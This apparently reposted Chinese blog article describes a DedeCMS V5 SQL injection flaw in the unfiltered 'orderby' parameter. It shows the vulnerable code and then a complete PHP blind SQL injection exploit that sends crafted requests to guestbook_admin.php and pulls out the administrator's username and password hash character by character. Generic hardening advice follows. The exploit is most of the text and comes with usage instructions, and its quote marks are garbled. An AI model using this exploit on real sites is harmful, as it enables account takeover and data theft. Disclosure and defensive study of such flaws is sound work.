dedecms注射漏洞

本文详细解析了DedeCms中存在的严重SQL注入漏洞,该漏洞允许恶意用户通过未过滤的参数控制整个网站,获取敏感信息如管理员密码等。文章提供了漏洞利用的测试代码及修复建议。
漏洞说明:DedeCms由2004年到现在,已经经历了五个版本,从 DedeCms V2 开始,DedeCms开发了自己的模板引擎,使用XML名字空间风格的模板,对美工制作的直观性提供了极大的便利,从V2.1开始,DedeCms人气急却上升,成为国内最流行的CMS软件,在DedeCms V3版本中,开始引入了模型的概念,从而摆脱里传统网站内容管理对模块太分散,管理不集中的缺点,但随着时间的发展,发现纯粹用模型化并不能满足用户的需求,从而DedeCms 2007(DedeCms V5)应声而出.80sec在其产品中发现了多个严重的SQL注射漏洞,可能被恶意用户查询数据库的敏感信息,如管理员密码,加密key等等,从而控制整个网站。

漏洞厂商:http://www.dedecms.com/

漏洞来源:http://www.80sec.com/release/dedecms-sql-injection.txt

漏洞解析:在joblist.php和guestbook_admin.php等文件中对orderby参数未做过滤即带入数据库查询,造成多个注射漏洞。漏洞部分代码如下

-------------------------------------------------------
if(empty($orderby)) $orderby = 'pubdate';

//重载列表
if($dopost=='getlist'){
PrintAjaxHead();
GetList($dsql,$pageno,$pagesize,$orderby);//调用GetList函数
$dsql->Close();
exit();
……
function GetList($dsql,$pageno,$pagesize,$orderby='pubdate'){
global $cfg_phpurl,$cfg_ml;
$jobs = array();
$start = ($pageno-1) * $pagesize;

$dsql->SetQuery("Select * From #@__jobs where memberID='".$cfg_ml->M_ID."' order by $orderby desc limit $start,$pagesize ");
$dsql->Execute();//orderby 带入数据库查询
……
----------------------------------------------------------

漏洞利用:80sec提供攻击测试代码如下(如果发现代码无法测试,请访问80sec官方的txt文档):

<?
print_r('
--------------------------------------------------------------------------------
DedeCms >=5 "orderby" blind SQL injection/admin credentials disclosure exploit
BY Flyh4t
www.wolvez.org
Thx for all the members of W.S.T and my friend Oldjun
--------------------------------------------------------------------------------
');

if ($argc<3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].’ host path
host: target server (ip/hostname)
path: path to DEDEcms
Example:
php ‘.$argv[0].’ localhost /
——————————————————————————–
‘);
die;
}

function sendpacketii($packet)
{
global $host, $html;
$ock=fsockopen(gethostbyname($host),’80′);
if (!$ock) {
echo ‘No response from ‘.$host; die;
}
fputs($ock,$packet);
$html=”;
while (!feof($ock)) {
$html.=fgets($ock);
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$prefix=”dede_”;
$cookie=”DedeUserID=39255; DedeUserIDckMd5=31283748c5a4b36c; DedeLoginTime=1218471600; DedeLoginTimeckMd5=a7d9577b3b4820fa”;

if (($path[0]<>’/') or ($path[strlen($path)-1]<>’/'))
{echo ‘Error… check the path!’; die;}

/*get $prefix*/
$packet =”GET “.$path.”/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=11′ HTTP/1.0\r\n”;
$packet.=”Host: “.$host.”\r\n”;
$packet.=”Cookie: “.$cookie.”\r\n”;
$packet.=”Connection: Close\r\n\r\n”;
sendpacketii($packet);
if (eregi(”in your SQL syntax”,$html))
{
$temp=explode(”From “,$html);
$temp2=explode(”member”,$temp[1]);
if($temp2[0])
$prefix=$temp2[0];
echo “[+]prefix -> “.$prefix.”\n”;
}

$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
echo “[~]exploting now,plz waiting\r\n”;

/*get password*/
$j=1;$password=”";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$sql=”orderby=11+and+If(ASCII(SUBSTRING((SELECT+pwd+FROM+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(SELECT+pwd+FROM+”.$prefix.”member))”;
$packet =”GET “.$path.”member/guestbook_admin.php?dopost=getlist&pageno=1&”.$sql.” HTTP/1.0\r\n”;
$packet.=”Host: “.$host.”\r\n”;
$packet.=”Cookie: “.$cookie.”\r\n”;
$packet.=”Connection: Close\r\n\r\n”;
sendpacketii($packet);
if (!eregi(”Subquery returns more than 1 row”,$html)) {$password.=chr($i);echo”[+]pwd:”.$password.”\r\n”;break;}
}
if ($i==255) {die(”Exploit failed…”);}
}
$j++;
}

/*get userid*/
$j=1;$admin=”";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql=”orderby=11+and+If(ASCII(SUBSTRING((SELECT+userid+FROM+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(SELECT+pwd+FROM+”.$prefix.”member))”;
$packet =”GET “.$path.”member/guestbook_admin.php?dopost=getlist&pageno=1&”.$sql.” HTTP/1.0\r\n”;
$packet.=”Host: “.$host.”\r\n”;
$packet.=”Cookie: “.$cookie.”\r\n”;
$packet.=”Connection: Close\r\n\r\n”;
sendpacketii($packet);
if (!eregi(”Subquery returns more than 1 row”,$html)) {$admin.=chr($i);echo”[+]userid:”.$admin.”\r\n”;break;}
if ($i==255) {die(”Exploit failed…”);}
}
$j++;
}

print_r(’
——————————————————————————–
[+]userid -> ‘.$admin.’
[+]pwd(md5 24位) -> ‘.$password.’
——————————————————————————–
‘);
function is_hash($hash)
{
if (ereg(”^[a-f0-9]{24}”,trim($hash))) {return true;}
else {return false;}
}
if (is_hash($password)) {echo “Exploit succeeded…”;}
else {echo “Exploit failed…”;}
?>
本站内容均为原创,转载请务必保留署名与链接!
dedecms注射漏洞:http://www.80sec.com/dedecms-sql-injection.html

转载于:https://www.cnblogs.com/jannock/archive/2008/08/14/1267513.html

### DedeCMS 安全漏洞概述 DedeCMS 作为一款广泛应用的内容管理系统 (CMS),尽管其设计科学合理且易于使用,但也面临着诸多安全挑战。常见的安全威胁包括但不限于 SQL 注入、XSS 跨站脚本攻击、CSRF 欺骗攻击以及远程代码执行等[^1]。 ### 常见的安全漏洞实例 对于早期版本的 DedeCMS 来说,确实存在一些严重的安全隐患。例如,某些版本允许未经验证的文件上传行为,这可能导致攻击者利用该特性向服务器植入恶意 WebShell 文件,从而获得对服务器的部分控制权。此外,还可能存在远程代码执行的风险,使得未经授权的操作得以实施[^3]。 ### 实施安全加固的最佳实践措施 为了有效提升基于 DedeCMS 构建网站的整体安全性,可以从以下几个方面着手: #### 更新至最新稳定版 确保所使用的 DedeCMS 版本是最新的官方发行版本,因为开发者通常会在新版本中修补已知的安全缺陷,并引入更严格的数据校验机制来抵御潜在风险。 #### 加强权限管理 调整默认设置中的用户角色与权限分配策略,遵循最小特权原则授予必要的访问级别;同时启用强制密码复杂度要求,增强账户认证环节的安全屏障[^2]。 #### 配置Web应用防火墙(WAF) 部署专业的 WAF 可以实时监测并阻止针对应用程序层发起的各种网络攻击尝试,如 SQL 注入、XSS 攻击等形式,为平台提供额外一层保护罩。 #### 对上传功能做严格的限制 修改文件上传路径配置项,使其指向非可解析目录之外的位置存储附件资料;另外还需加强对上传文件类型的白名单过滤逻辑,严禁任何可能含有危险指令集扩展名(比如 .php,.asp 等)进入系统内部环境。 ```bash # 修改 upload 目录权限为只读 chmod -R 555 /path/to/dedecms/upload/ ``` #### 日志审计与异常告警 开启详细的日志记录选项以便追踪可疑活动轨迹;建立自动化报警响应预案,在检测到异常登录请求或其他高危操作时能够及时通知管理员介入调查处理[^4]。 ### 结论 通过对上述各项举措的有效落实,可以在很大程度上改善运行于 DedeCMS 上线业务系统的抗御外部侵扰能力,保障数据资产免受非法侵害的同时也为用户提供更加可靠的服务体验。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值